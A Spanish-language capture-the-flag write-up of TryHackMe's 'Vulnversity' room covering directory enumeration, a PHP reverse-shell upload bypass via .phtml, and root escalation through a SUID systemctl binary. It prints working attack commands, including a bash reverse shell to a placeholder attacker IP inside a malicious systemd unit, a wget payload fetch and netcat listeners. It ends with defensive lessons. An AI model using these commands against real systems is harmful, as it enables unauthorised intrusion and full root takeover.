Volver a Writeups
TryHackMe Easy 🐧 Linux

Vulnversity

Vulnversity es una sala introductoria de TryHackMe enfocada en reconocimiento activo con nmap, enumeración de directorios y explotación de una funcionalidad de upload de archivos para obtener una reverse shell PHP. La escalada de privilegios se logra abusando del binario systemctl con bit SUID, creando un servicio de systemd malicioso que ejecuta una reverse shell como root.

File Upload PHP Reverse Shell SUID systemctl Abuse systemd Unit File GoBuster

Reconocimiento

Escaneamos puertos con nmap para mapear la superficie de ataque. Encontramos una aplicación web y un servidor Squid en el host.

Enumeración Web — GoBuster

Enumeramos directorios en el servidor web para encontrar secciones ocultas:

bashDirectory fuzzing con GoBuster
gobuster dir -u http://TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# /internal/ ← directorio con formulario de upload

En /internal/ encontramos un formulario de subida de archivos. Al intentar subir un .php directamente, el servidor lo rechaza. Probamos extensiones alternativas y descubrimos que acepta .phtml.

Foothold — PHP Reverse Shell

bashPreparar la reverse shell
# Copiar la plantilla de reverse shell PHP
cp /usr/share/webshells/php/php-reverse-shell.php shell.phtml

# Editar: cambiar $ip y $port por tu IP y puerto
nano shell.phtml
# $ip = 'TU_IP_TUN0'
# $port = 4444
bashListener + activar shell
# Terminal 1: listener
nc -nlvp 4444

# Subir shell.phtml via el formulario /internal/
# Activar navegando a:
curl http://TARGET/internal/uploads/shell.phtml

# Estabilizar la shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

Entramos como www-data. En /home/bill/ encontramos la flag de usuario.

Escalada de Privilegios — systemctl SUID

Buscamos binarios con el bit SUID activado:

bashBúsqueda de binarios SUID
find / -type f -perm -4000 2>/dev/null
# /bin/systemctl  ← binario inusual con SUID

systemctl con SUID permite crear y ejecutar servicios del sistema con privilegios de root. Creamos un unit file de systemd malicioso:

iniroot.service — servicio malicioso
[Unit]
Description=Reverse Shell Root

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/TU_IP/4445 0>&1'

[Install]
WantedBy=multi-user.target
bashTransferir y ejecutar el servicio
# En nuestra máquina: servir el archivo
python3 -m http.server --bind TU_IP 8000

# En la máquina víctima (www-data):
cd /tmp
wget http://TU_IP:8000/root.service

# Listener en nuestra máquina para recibir la shell root:
nc -nlvp 4445

# En la víctima: habilitar y arrancar el servicio
/bin/systemctl enable /tmp/root.service
/bin/systemctl start root

El servicio arranca como root y ejecuta la reverse shell → acceso root completo.

Lecciones Aprendidas

  • Los filtros de upload que solo validan la extensión del archivo son fáciles de evadir. Validar también el tipo MIME, magic bytes y usar un allowlist estricto.
  • systemctl con SUID es una configuración peligrosísima. Los servicios de systemd corren como root por defecto y permiten ejecución arbitraria de comandos.
  • Directorios de upload accesibles públicamente (/uploads, /internal/uploads) son puntos de entrada directos si el servidor ejecuta los archivos subidos.
  • Siempre revisar GTFOBins para binarios SUID inusuales como systemctl, find, vim, etc.
vulnversity